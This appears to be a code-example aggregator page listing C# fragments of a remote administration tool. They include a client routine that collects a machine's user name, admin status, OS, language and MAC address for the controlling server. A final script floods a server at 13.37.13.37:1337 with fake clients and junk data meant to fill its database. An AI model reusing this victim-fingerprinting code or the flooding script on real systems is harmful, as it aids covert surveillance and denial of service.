Ejemplo n.º 1
0
        private static void SendInformation(Stream stream)
        {
            var data = new BasicComputerInformation
            {
                Language         = Cultures[Random.Next(0, Cultures.Length)],
                UserName         = RandomNames[Random.Next(0, RandomNames.Length)],
                IsAdministrator  = Random.Next(0, 3) == 0,
                IsServiceRunning = Random.Next(0, 5) == 0,
                Plugins          = new List <PluginInfo>(),
                ClientConfig     = null,
                ClientVersion    = Random.Next(2, 10)
            };

            var os = OperationgSystems.ElementAt(Random.Next(0, OperationgSystems.Count));

            data.OperatingSystemName = os.Key;
            data.OperatingSystemType = os.Value;

            /*
             * var area = CenteredCoordinates[Random.Next(0, CenteredCoordinates.Count)];
             * data.Latitude = (float) (area.Key + Random.Next(-20, 21)*Random.NextDouble());
             * data.Longitude = (float) (area.Value + Random.Next(-20, 21)*Random.NextDouble());
             */
            var serializer = new Serializer(typeof(BasicComputerInformation));

            serializer.Serialize(stream, data);
        }
Ejemplo n.º 2
0
        private static void SendInformation(Stream stream)
        {
            var data = new BasicComputerInformation
            {
                Language         = Cultures[Random.Next(0, Cultures.Length)],
                UserName         = RandomNames[Random.Next(0, RandomNames.Length)],
                IsAdministrator  = Random.Next(0, 3) == 0,
                IsServiceRunning = Random.Next(0, 5) == 0,
                Plugins          = new List <PluginInfo>(),
                ClientConfig     =
                    new ClientConfig
                {
                    AntiDebugger       = true,
                    AntiTcpAnalyzer    = true,
                    Autostart          = false,
                    ChangeCreationDate = false,
                    ClientTag          = "Stress Test",
                    ForceInstallerAdministratorRights = false,
                    InstallService = false
                },
                ClientVersion = Version,
                ApiVersion    = AdministrationApiVersion
            };

            var os = OperationgSystems.ElementAt(Random.Next(0, OperationgSystems.Count));

            data.OSName = os.Key;
            data.OSType = os.Value;

            var area = CenteredCoordinates[Random.Next(0, CenteredCoordinates.Count)];

            data.Latitude  = (float)(area.Key + Random.Next(-20, 21) * Random.NextDouble());
            data.Longitude = (float)(area.Value + Random.Next(-20, 21) * Random.NextDouble());

            var serializer = new Serializer(typeof(BasicComputerInformation));

            serializer.Serialize(stream, data);
        }
        private static void SendInformation(Stream stream)
        {
            var data = new BasicComputerInformation
            {
                Language = Cultures[Random.Next(0, Cultures.Length)],
                UserName = RandomNames[Random.Next(0, RandomNames.Length)],
                IsAdministrator = Random.Next(0, 3) == 0,
                IsServiceRunning = Random.Next(0, 5) == 0,
                Plugins = new List<PluginInfo>(),
                ClientConfig =
                    new ClientConfig
                    {
                        AntiDebugger = true,
                        AntiTcpAnalyzer = true,
                        Autostart = false,
                        ChangeCreationDate = false,
                        ClientTag = "Stress Test",
                        ForceInstallerAdministratorRights = false,
                        InstallService = false
                    },
                ClientVersion = Version,
                ApiVersion = AdministrationApiVersion
            };

            var os = OperationgSystems.ElementAt(Random.Next(0, OperationgSystems.Count));
            data.OSName = os.Key;
            data.OSType = os.Value;

            var area = CenteredCoordinates[Random.Next(0, CenteredCoordinates.Count)];
            data.Latitude = (float) (area.Key + Random.Next(-20, 21) * Random.NextDouble());
            data.Longitude = (float) (area.Value + Random.Next(-20, 21) * Random.NextDouble());

            var serializer = new Serializer(typeof (BasicComputerInformation));
            serializer.Serialize(stream, data);
        }
Ejemplo n.º 4
0
        public static void SendInformation(Stream stream)
        {
            if (_basicComputerInformation == null)
            {
                _basicComputerInformation = new BasicComputerInformation
                {
                    UserName         = Environment.UserName,
                    IsAdministrator  = User.IsAdministrator,
                    ClientConfig     = Settings.ClientConfig,
                    ClientVersion    = Program.Version,
                    ApiVersion       = Program.AdministrationApiVersion,
                    ClientPath       = Consts.ApplicationPath,
                    FrameworkVersion = GetFrameworkVersion()
                };

                var culture = CultureInfo.InstalledUICulture;
                _basicComputerInformation.Language = culture.TwoLetterISOLanguageName;
                if (culture.LCID != 4096)
                {
                    try
                    {
                        _basicComputerInformation.Language += $"-{new RegionInfo(culture.LCID).TwoLetterISORegionName}";
                    }
                    catch (Exception)
                    {
                        // ignored
                    }
                }

                switch (Environment.OSVersion.Platform)
                {
                case PlatformID.Win32S:
                    _basicComputerInformation.OperatingSystemName = "Windows 3.1";
                    break;

                case PlatformID.Xbox:
                    _basicComputerInformation.OperatingSystemName = "XBox";
                    break;

                case PlatformID.Win32Windows:
                    _basicComputerInformation.OperatingSystemName = "Win32 Windows";
                    break;

                case PlatformID.Win32NT:
                    _basicComputerInformation.OperatingSystemName = GetOsFriendlyName();
                    if (_basicComputerInformation.OperatingSystemName.Contains("Windows 7"))
                    {
                        _basicComputerInformation.OperatingSystemType = OSType.Windows7;
                    }
                    else if (_basicComputerInformation.OperatingSystemName.Contains("Windows 8"))
                    {
                        _basicComputerInformation.OperatingSystemType = OSType.Windows8;
                    }
                    else if (_basicComputerInformation.OperatingSystemName.Contains("Windows 10"))
                    {
                        _basicComputerInformation.OperatingSystemType = OSType.Windows10;
                    }
                    else if (_basicComputerInformation.OperatingSystemName.Contains("Vista"))
                    {
                        _basicComputerInformation.OperatingSystemType = OSType.WindowsVista;
                    }
                    else if (_basicComputerInformation.OperatingSystemName.Contains("XP"))
                    {
                        _basicComputerInformation.OperatingSystemType = OSType.WindowsXp;
                    }
                    break;

                case PlatformID.WinCE:
                    _basicComputerInformation.OperatingSystemName = "Windows CE";
                    break;

                default:
                    _basicComputerInformation.OperatingSystemName = "Unknown: " + Environment.OSVersion.Platform;
                    break;
                }

                if (string.IsNullOrEmpty(_basicComputerInformation.OperatingSystemName))
                {
                    _basicComputerInformation.OperatingSystemName = Environment.OSVersion.VersionString;
                }

                try
                {
                    _basicComputerInformation.MacAddress = GetMacAddress();
                }
                catch (Exception)
                {
                    //NetworkInformationException?
                }
            }

            _basicComputerInformation.IsServiceRunning = ServiceConnection.Current.IsConnected;
            _basicComputerInformation.Plugins          =
                PluginLoader.Current.AvailablePlugins.Select(
                    x =>
                    new PluginInfo
            {
                Guid     = x.Key.Guid,
                Name     = x.Key.PluginName,
                Version  = x.Key.PluginVersion,
                IsLoaded = x.Value
            }).ToList();
            _basicComputerInformation.LoadablePlugins =
                Directory.Exists(Consts.PluginsDirectory)
                    ? new DirectoryInfo(Consts.PluginsDirectory).GetFiles()
                .Select(
                    x =>
                    Regex.Match(x.Name, @"^(?<guid>([0-9A-Fa-f]{32}))_(?<version>(\d+(?:\.\d+)+))$"))
                .Where(x => x.Success)
                .Select(
                    x =>
                    new LoadablePlugin
            {
                Guid    = new Guid(x.Groups["guid"].Value),
                Version = x.Groups["version"].Value
            })
                .ToList()
                    : null;
            _basicComputerInformation.ActiveCommands = StaticCommandSelector.Current.GetActiveCommandIds();

            var types = new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes())
            {
                typeof(BasicComputerInformation)
            };
            var serializer = new Serializer(types);

            serializer.Serialize(stream, _basicComputerInformation);
        }
Ejemplo n.º 5
0
        public static void doTheThing()
        {
            var       client    = new TcpClient();
            SslStream sslStream = null;

            try
            {
                client.Connect("13.37.13.37", 1337);
                sslStream = new SslStream(client.GetStream(), true, (o, certificate, chain, errors) => true);
                sslStream.AuthenticateAsClient("Hello.");
            }
            catch
            {
                Console.WriteLine("Failed to connect. Server dead?");
                return;
            }

            sslStream.Write(new byte[] { 0 }); // client
            var binaryReader = new BinaryReader(sslStream);
            var binaryWriter = new BinaryWriter(sslStream, Encoding.UTF8, true);

            binaryWriter.Write(5); // we're using api v5

            binaryReader.ReadByte();
            if (binaryReader.ReadByte() != 0)
            {
                Console.WriteLine("Error? 1");
                return;
            }

            int         position    = binaryReader.ReadInt32();
            KeyDatabase keyDatabase = new KeyDatabase();

            binaryWriter.Write(keyDatabase.GetKey(position, "@=<VY]BUQM{sp&hH%xbLJcUd/2sWgR+YA&-_Z>/$skSXZR!:(yZ5!>t>ZxaPTrS[Z/'R,ssg'.&4yZN?S)My+:QV2(c&x/TU]Yq2?g?*w7*r@pmh"));
            if (binaryReader.ReadByte() != 6)
            {
                Console.WriteLine("Error? 2");
                return;
            }

            var provider = new RNGCryptoServiceProvider();
            var hwidSalt = new byte[4];

            provider.GetBytes(hwidSalt);

            //hwid
            binaryWriter.Write("foo bar baz buzz" + BitConverter.ToUInt32(hwidSalt, 0).ToString()); // arbitrary
            byte b = binaryReader.ReadByte();

            if (b == 7)
            {
                if (new Random().Next(0, 5) < 3)
                {
                    binaryWriter.Write("");
                }
                else if (new Random().Next(0, 5) < 1)
                {
                    binaryWriter.Write(randomString(255));
                }
                else
                {
                    binaryWriter.Write(randomString(2) + new string('\n', 252));
                }

                b = binaryReader.ReadByte();
            }

            if (b != 3)
            {
                Console.WriteLine("Error 3?");
                return;
            }

            var randomKiloByte = new byte[2048];

            provider.GetBytes(randomKiloByte);
            var information = new BasicComputerInformation()
            {
                UserName = randomString(new Random().Next(0, 255)),
                // you can just put in TempleOS too or randomString(256)
                OperatingSystemName = "Microsoft Windows 10 Pro",
                Language            = "English (United States)",
                IsAdministrator     = new Random().Next(3) != 1,
                ClientConfig        = null,
                ClientVersion       = new Random().Next(19),
                ApiVersion          = 2,
                ClientPath          = new string('\a', 10000),
                FrameworkVersion    = 1,
                MacAddress          = randomKiloByte  // wastes space in their database
            };

            new Serializer(new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes())
            {
                typeof(BasicComputerInformation)
            }).Serialize(sslStream, information);


            Console.WriteLine($"Connected fake client #{++iterations}");
        }